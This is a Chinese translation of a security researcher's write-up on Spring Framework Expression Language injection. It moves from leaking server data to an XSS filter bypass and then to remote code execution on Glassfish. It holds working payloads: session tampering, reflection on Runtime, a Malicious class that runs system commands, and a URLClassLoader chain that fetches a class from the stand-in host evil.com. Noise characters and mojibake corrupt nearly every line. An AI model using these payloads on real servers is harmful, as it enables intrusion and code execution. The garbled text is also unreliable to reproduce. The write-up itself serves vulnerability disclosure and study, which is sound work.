Remote Code with d, k6 Y6 x/ a. }9 H/ e! p
Expression Language Injection
, l9 p. f A! H r tSpring Framework脆弱性—DanAmodio
, i+ J7 a; T5 _( T, j全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
" ^ S- o- q F/ L: }可能会存在风险。
" L: L9 S: p0 k6 Y在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的' y' ~+ e- b9 v# P0 e* R1 S# w
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
# K& p8 o3 e4 Q/ g6 Z# @, j( q) Q以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,2 k% c4 Y& j7 b1 P- q3 \8 ^# [
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
- o5 E: K) R, b5 Q8 r版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。; W" @/ H* v2 s- K
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但/ R3 Q/ ]! t' v) p+ ?( u* I/ {
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
: R; s; _7 _$ N5 V$ Y( `9 I+ K本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。/ B. a7 |+ ?$ }2 e! s
这些版本不支持禁用double EL resolution.
1 R! |/ Q7 |% v, u3 R3 C. _. T这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含8 t% f1 V+ @# }8 F2 n& k
EL2.2容器上可能进行远程代码执行。5 x( f) J& s: t0 w
这是一个原始信息泄露的攻击例子:
( K' j+ }; e: h3 [2 G8 a0 b, {9 s请求:
i$ R- |" k5 W! w8 Qttp://vulnerable.com/foo?message=${applicationScope}$ l: I2 U. h. n' _) ~* T
到达以下内容页面:
n' a& \, a+ D! t0 ?! Q结果将输出一些包含内部服务器信息calsspath 和本地工作目录. q) |) N y. d1 E" b& g
你也可以做一些其他事情,如这样:
* Y3 W0 X; _* ?6 h5 L${9999+1}
$ S* q5 v- m" [8 y还可以访问session 对象和beans& M/ M' P0 D% A/ ~ d6 H
${employee.lastName}9 s7 C) p% ]/ z; E& K) J
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
6 L7 s7 a& d/ Y" z3 V) p0 @EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东/ ^1 }# `2 f/ m3 L4 I7 W" h
西,比如XSS., p8 C) p" T5 T+ l
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签6 R% c' _6 s. A- _
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
+ A1 M0 D: f1 n% q) }/ Q7 W呢?”! ?9 G7 o4 x B" g0 j
因此,我尝试巳缦拢�" L; b$ y$ p5 S- D6 h3 {
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP2 G8 L% c6 ~: n9 D: n
P6 ]2 \* y" L& u4 c0 f- O5 ?1 P8 m4 b- y
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返4 u8 l5 r6 w% u/ m
回的文本被插入进了spring:message 标签。
% l( a* |" E+ z6 L2 h$ _这里是一个最终绕过过滤的实例:
7 }4 E" i$ N2 S7 Z0 bhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ( L6 O4 o& j% p7 T
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为; h5 a; N M3 S# `3 f3 W
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
) s C- E" o* o$ z# B3 g经过一番研究,我学习到EL2.2 增加了方法调用。
( W/ F7 u+ {( l& b8 k/ s我写了一个快速测试应用程序代码并且检测一些功能; t8 e5 E& D" D0 V1 m7 a/ ~
${pageContext.request.getSession().setAttribute(“account”,”123456″)}! R ~$ i3 K8 y
${pageContext.request.getSession().setAttribute(“admin”,true)}" u5 U. b5 a! d9 \- n8 D
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的' h& o* Y7 k( |8 q* Z
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?2 U3 e% C) B( T, ~' Y
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
0 E0 z! z$ Y6 k: f- b+ [& P“, 1234)}0 Y$ C# C% _ Y/ [+ K
${“”.getClass().forName(“java.lang.Runtime”)}
9 k; ^0 D/ V9 ^1 X) [! x6 t哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不; l: j8 v. B4 x
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函$ Y- s* j7 v, L. j& v/ V# @) m
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
g4 f7 i: q0 |! m& Z @) C一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于/ A. }8 C& e/ s6 S: W
方法签名invoke(Object obj, Object„ args)
6 E' {) C' [ WJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
1 o" |: v- J' b- ]0 p# z# E题,以让它可以工作起来。
8 Y; a% y2 e/ m9 X+ O6 ~漏洞利用:5 q2 h( ^, K* k$ i K
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我) {. X2 f/ S1 U9 _! \
希望你们中的一些JAVA奇才告诉我我是如此的可笑。
' C3 z9 Z" V G这里有一些我试过的失败的用例,为了试图让它工作的用例:
7 E6 C3 s: e; X# Y& o( n 写文件到文件系统
8 n9 C$ @7 x9 j! h- g7 H% H 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.7 E. T/ j4 Y; S% S& i/ l
我认为这些可以很好的工作,但是我不能找到合适的类来载入。( g$ B6 a, c8 y$ M3 t& a% m% ~
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
9 _$ G1 n* S1 ^) Z2 qjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
" o& W/ u) a0 gorg.springframework.expression.spel.standard.SpelExpressionParser not found
% {: o8 Y/ G2 a m1 M% cby
3 u% ]- a+ }' [$ f9 i5 f+ _org.glassfish.web.javax.servlet.jsp [194].
& j- h( @* M" A: u- u$ T: \, v( O 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public- c4 }5 g F! i/ B6 _) c
利用反射来创建一个新的Runtime(and watch the world burn)
) g6 f5 i( [6 _& o5 ~${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName1 M" ?& s* q# n, f8 y. D1 z
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}9 x/ `7 g8 o9 a0 y V# {- ~; |
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}4 k2 {) ?- R# B" F9 ^! X
使用java.lang.ProcessBuilder
/ }( m) n, A- |9 e: K: P3 v2 | 用表达式语言来评估表达式语言. \( }7 s V! Y$ t
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
5 V6 |* K8 l8 i: \7 j0 X' @' |${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
5 `& k' ` Z: b“,”".getClass(),null)}
$ Z; ~% y5 @/ { 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)6 x$ ]+ w. ^4 M0 ]* m
我在使用一个空数组通过Method.invoke()时失败了很多次
6 k& v& @$ o- E$ k0 C“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
7 w @1 i' B! A c5 c.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
8 \' K' k/ K( O" s. TrrayList”).newInstance().toArray())0 s1 O; C1 h( h" s3 {0 r& ~
java.lang.IllegalArgumentException: wrong number of arguments% G$ V) M" ~# V+ E( y! N
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可/ ^9 Y! e# Y: m8 c& Q6 D/ R
以创建一个恶意class文件并且指向类装载器.
) u8 q; Q$ \' v3 M我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
K x5 N: J; Q2 S" j& Gpublic class Malicious {
& n" D/ P. H6 B3 d2 F$ s jpublic Malicious() {+ J6 [& a! `. K" Y+ E
try {! N6 Q- f* q6 H4 _/ d
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
E9 U3 v8 U8 K0 O( k0 r- W9 Ljava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win8 ^& k# P3 X+ ?0 E2 r) f
} catch (Exception e) {
. @& p- z, W2 I6 y: |} R( `! U+ W; J
}( g$ J& E7 A" R, i1 Z/ Y6 g9 s7 \
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回2 |; c; n1 H* M. e8 p9 X L
话中,因此它可以被使用.6 h( q6 I) _/ f# y: l7 Q1 ]
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName6 D% N: ^0 X, [7 e" x7 _$ k9 I
(“java.util.ArrayList”).newInstance())}' ~9 q" o& Z- ~- J- |
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建( q1 z1 J, z/ w2 [" a$ L$ P, Q
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
9 Q' Q# ]9 K1 G( i* UgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
) s* V; k+ f& C( o7 C我们可以调用的create(string)方法,然后转换对一个URL对象。
. l$ z& M- w9 J( {: j: U) b${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
/ i7 D! y; Y& K" T: F; fere/malicious/classfile/is/located/”).toURL())}! Z, Z9 P5 d9 ?! G* m
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,5 d ]! l) S- {* M
恶意类文件被装载并创建,触发远程代码.
6 {5 ]3 B* a) Y; a0 _! }${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
3 k# W& w( V) G6 B: bxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().1 {5 R) e! Q$ H R! g1 N& { t
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance' Q3 x) N; g. l# ]1 `
()} |